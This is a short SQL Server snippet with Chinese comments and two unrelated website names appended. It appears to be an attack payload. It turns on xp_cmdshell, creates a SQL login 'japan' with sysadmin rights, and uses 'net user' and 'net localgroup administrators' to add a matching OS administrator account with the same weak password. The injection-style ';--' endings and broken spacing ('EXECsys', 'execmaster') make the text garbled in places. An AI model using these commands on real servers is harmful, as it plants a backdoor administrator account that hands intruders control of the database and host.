--enabble xp_cmdshell
EXECsys.sp_configure N'show advanced options', N'1'RECONFIGURE WITHOVERRIDE  go
EXECsys.sp_configure N'xp_cmdshell', N'1'go  RECONFIGURE WITHOVERRIDE  go EXECsys.sp_configure N'show advanced options', N'0'RECONFIGURE WITHOVERRIDE  go
-- Unenable xp_cmdshell
EXECsys.sp_configure N'show advanced options', N'1'RECONFIGURE WITHOVERRIDE  go
EXECsys.sp_configure N'xp_cmdshell', N'0'go  RECONFIGURE WITHOVERRIDE  go
EXECsys.sp_configure N'show advanced options', N'0'RECONFIGURE WITHOVERRIDE  go   -- 通过xp_cmdshell 创建操作系统用户, japan 是用户名及密码
execmaster.dbo.sp_addlogin japan;--     exec master.dbo.sp_password null,japan,japan;--  
execmaster.dbo.sp_addsrvrolemember japan,sysadmin;--  
execmaster.dbo.xp_cmdshell 'net user japan japan /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
execmaster.dbo.xp_cmdshell 'net localgroup administrators japan /add';--      



爱抚州网 www.i0794.cn

www.bzff.com